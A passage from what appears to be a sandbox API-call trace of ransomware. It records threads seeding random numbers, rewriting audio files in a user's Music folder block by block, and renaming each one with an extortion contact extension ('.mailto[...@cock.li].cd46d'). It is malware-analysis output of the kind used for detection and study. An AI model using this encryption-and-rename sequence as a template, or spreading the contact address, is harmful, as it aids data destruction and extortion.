RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x3baee146 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x67cdca9c [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x3b7c56a [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x1ced0776 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x216a7a73 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x7ac07d83 [0060.453] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x169ce496 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x6c5f9eb1 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x21c5649a [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x1193fd18 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x32bd9a34 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x4dc3c4bb [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x53033f66 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x44b79d4d [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0xeded424 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x42c91b6c [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x7479c010 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x62565249 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x1ada7aad [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x363cc2a1 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x9d23d88 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x44c09130 [0060.454] RtlRandomEx (in: Seed=0xb01f8b8 | out: Seed=0xb01f8b8) returned 0x5fb1eca2 [0060.466] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.466] ReadFile (in: hFile=0x93c, lpBuffer=0x198dd098, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xb01f88c, lpOverlapped=0x0 | out: lpBuffer=0x198dd098*, lpNumberOfBytesRead=0xb01f88c*=0xc800, lpOverlapped=0x0) returned 1 [0060.467] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c750 [0060.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a9c0 [0060.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435aa8 [0060.467] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435aa8) returned 1 [0060.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x198e98a0 [0060.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435aa8 [0060.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435c38 [0060.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435c38) returned 1 [0060.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a9c0) returned 1 [0060.472] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c750) returned 1 [0060.472] WriteFile (in: hFile=0x93c, lpBuffer=0x198e98a0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xb01f88c, lpOverlapped=0x0 | out: lpBuffer=0x198e98a0*, lpNumberOfBytesWritten=0xb01f88c*=0xc800, lpOverlapped=0x0) returned 1 [0062.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x198e98a0) returned 1 [0063.178] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x198dd098) returned 1 [0063.179] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cef60 [0063.179] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.179] WriteFile (in: hFile=0x93c, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0xb01f90c, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0xb01f90c*=0x107, lpOverlapped=0x0) returned 1 [0063.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef90) returned 1 [0063.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435af8) returned 1 [0063.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef60) returned 1 [0063.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435aa8) returned 1 [0063.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435bc0) returned 1 [0063.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435c60) returned 1 [0063.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435c88) returned 1 [0063.207] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x442d00 [0063.207] wcscpy (in: _Dest=0x442d00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3" [0063.207] wcscat (in: _Dest=0x442d00, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0063.207] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xb01f8c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P8AORxU.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.207] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d780 [0063.209] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0063.209] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.209] NtQueryInformationFile (in: FileHandle=0x93c, IoStatusBlock=0xb01f8d0, FileInformation=0xb01f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb01f8d0, FileInformation=0xb01f8a8) returned 0x0 [0063.209] NtSetInformationFile (FileHandle=0x93c, IoStatusBlock=0xb01f8d0, FileInformation=0xb01f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.210] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442d00) returned 1 [0063.210] FlushFileBuffers (hFile=0x93c) returned 1 [0066.214] CloseHandle (hObject=0x93c) Thread: id = 461 os_tid = 0xe24 [0049.221] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rkk crspw.m4a")) returned 0x20 [0049.221] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a", dwFileAttributes=0x20) returned 1 [0060.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rkk crspw.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x940 [0060.473] GetFileSizeEx (in: hFile=0x940, lpFileSize=0xae1f968 | out: lpFileSize=0xae1f968*=62447) returned 1 [0060.473] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0xf3eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.473] ReadFile (in: hFile=0x940, lpBuffer=0xae1f8ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xae1f8e8, lpOverlapped=0x0 | out: lpBuffer=0xae1f8ec*, lpNumberOfBytesRead=0xae1f8e8*=0x4, lpOverlapped=0x0) returned 1 [0060.474] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435c38 [0060.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cb0 [0060.474] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cd8 [0060.474] NtQuerySystemTime (in: CurrentTime=0xae1f8c8 | out: CurrentTime=0xae1f8c8*=132174898244580000) returned 0x0 [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x3e0aa468 [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x6c761d81 [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x61b8358f [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x5779ddd2 [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x5e29f9ee [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x628f89e9 [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x1019e044 [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x4c6d747b [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x6cc8def6 [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x1284fafd [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x60bfda34 [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x7b948ae3 [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x72a8dc73 [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x3d141e4f [0060.474] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x78492a6d [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x1ca35f96 [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x2b16f050 [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x16e0f04c [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x381b11e6 [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x1cf3f193 [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x4f7b301e [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x4fbdfe7f [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x5d6d11e0 [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x2150a6ea [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x40ebc771 [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x5803aabc [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x74b02465 [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x5b9edefe [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x52d19e7a [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x1db706aa [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x7b99475e [0060.475] RtlRandomEx (in: Seed=0xae1f8d4 | out: Seed=0xae1f8d4) returned 0x63e83092 [0060.487] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.487] ReadFile (in: hFile=0x940, lpBuffer=0x198f60a8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xae1f8a8, lpOverlapped=0x0 | out: lpBuffer=0x198f60a8*, lpNumberOfBytesRead=0xae1f8a8*=0xc800, lpOverlapped=0x0) returned 1 [0060.488] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c750 [0060.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a9c0 [0060.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435c38 [0060.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435c38) returned 1 [0060.489] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x199028b0 [0060.493] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435c38 [0060.493] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cd8 [0060.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435cd8) returned 1 [0060.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a9c0) returned 1 [0060.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c750) returned 1 [0060.493] WriteFile (in: hFile=0x940, lpBuffer=0x199028b0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xae1f8a8, lpOverlapped=0x0 | out: lpBuffer=0x199028b0*, lpNumberOfBytesWritten=0xae1f8a8*=0xc800, lpOverlapped=0x0) returned 1 [0062.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199028b0) returned 1 [0063.197] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x198f60a8) returned 1 [0063.205] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97cf020 [0063.205] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.205] WriteFile (in: hFile=0x940, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xae1f928, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0xae1f928*=0x10b, lpOverlapped=0x0) returned 1 [0063.216] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0063.217] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf050) returned 1 [0063.217] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435c10) returned 1 [0063.217] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf020) returned 1 [0063.217] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435c38) returned 1 [0063.217] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435cb0) returned 1 [0063.217] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435d00) returned 1 [0063.217] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435d28) returned 1 [0063.217] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45ced0 [0063.217] wcscpy (in: _Dest=0x45ced0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a" [0063.217] wcscat (in: _Dest=0x45ced0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0063.217] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xae1f8e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rkK CRsPW.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.217] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00610 [0063.218] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.218] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.218] NtQueryInformationFile (in: FileHandle=0x940, IoStatusBlock=0xae1f8ec, FileInformation=0xae1f8c4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xae1f8ec, FileInformation=0xae1f8c4) returned 0x0 [0063.218] NtSetInformationFile (FileHandle=0x940, IoStatusBlock=0xae1f8ec, FileInformation=0xae1f8c4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.219] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ced0) returned 1 [0063.219] FlushFileBuffers (hFile=0x940) returned 1 [0066.202] CloseHandle (hObject=0x940) Thread: id = 462 os_tid = 0xe28 [0049.222] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uujv-ap.wav")) returned 0x20 [0049.222] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav", dwFileAttributes=0x20) returned 1 [0060.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uujv-ap.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x944 [0060.494] GetFileSizeEx (in: hFile=0x944, lpFileSize=0xae6fc70 | out: lpFileSize=0xae6fc70*=45033) returned 1 [0060.494] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0xafe5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.494] ReadFile (in: hFile=0x944, lpBuffer=0xae6fbf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xae6fbf0, lpOverlapped=0x0 | out: lpBuffer=0xae6fbf4*, lpNumberOfBytesRead=0xae6fbf0*=0x4, lpOverlapped=0x0) returned 1 [0060.495] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.495] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cd8 [0060.495] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435d50 [0060.495] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435d78 [0060.495] NtQuerySystemTime (in: CurrentTime=0xae6fbd0 | out: CurrentTime=0xae6fbd0*=132174898244736000) returned 0x0 [0060.495] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x51838624 [0060.495] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x4703446 [0060.495] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0xa6036d1 [0060.495] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x6e54bdf6 [0060.495] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x1a59f06d [0060.495] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x2e51ee01 [0060.495] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x210c3ba8 [0060.495] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x162621c3 [0060.495] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x18034d30 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x3ed5f423 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x103a3b21 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x692187cb [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x3a896d31 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x55d86edd [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x2eee14f7 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x790fe2ce [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x7f1b01bf [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x69569d9c [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x6e86196f [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x71dd7dc0 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x1360dd38 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x54d69cb9 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x4143268b [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x1ff2e6af [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x1fa69d16 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x37f72e4c [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x346f30cf [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x457d5c52 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x2a75ca5a [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x519f7e76 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x28b05596 [0060.496] RtlRandomEx (in: Seed=0xae6fbdc | out: Seed=0xae6fbdc) returned 0x71bd2f37 [0060.509] ReadFile (in: hFile=0x944, lpBuffer=0x1990f0b8, nNumberOfBytesToRead=0xafe9, lpNumberOfBytesRead=0xae6fbcc, lpOverlapped=0x0 | out: lpBuffer=0x1990f0b8*, lpNumberOfBytesRead=0xae6fbcc*=0xafe9, lpOverlapped=0x0) returned 1 [0060.511] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.511] WriteFile (in: hFile=0x944, lpBuffer=0x1991b8c0*, nNumberOfBytesToWrite=0xafe9, lpNumberOfBytesWritten=0xae6fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1991b8c0*, lpNumberOfBytesWritten=0xae6fbc8*=0xafe9, lpOverlapped=0x0) returned 1 [0062.604] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf2d0 [0062.604] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf2f8 [0062.604] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2f8) returned 1 [0062.604] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1991b8c0) returned 1 [0063.210] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1990f0b8) returned 1 [0063.210] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a9c0) returned 1 [0063.210] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c750) returned 1 [0063.210] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cef60 [0063.210] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.211] WriteFile (in: hFile=0x944, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0xae6fc30, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0xae6fc30*=0x107, lpOverlapped=0x0) returned 1 [0063.212] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.212] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef90) returned 1 [0063.212] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435c88) returned 1 [0063.213] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef60) returned 1 [0063.213] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2d0) returned 1 [0063.213] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435d50) returned 1 [0063.213] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435da0) returned 1 [0063.213] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435dc8) returned 1 [0063.213] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x442d00 [0063.213] wcscpy (in: _Dest=0x442d00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uujV-aP.wav" [0063.213] wcscat (in: 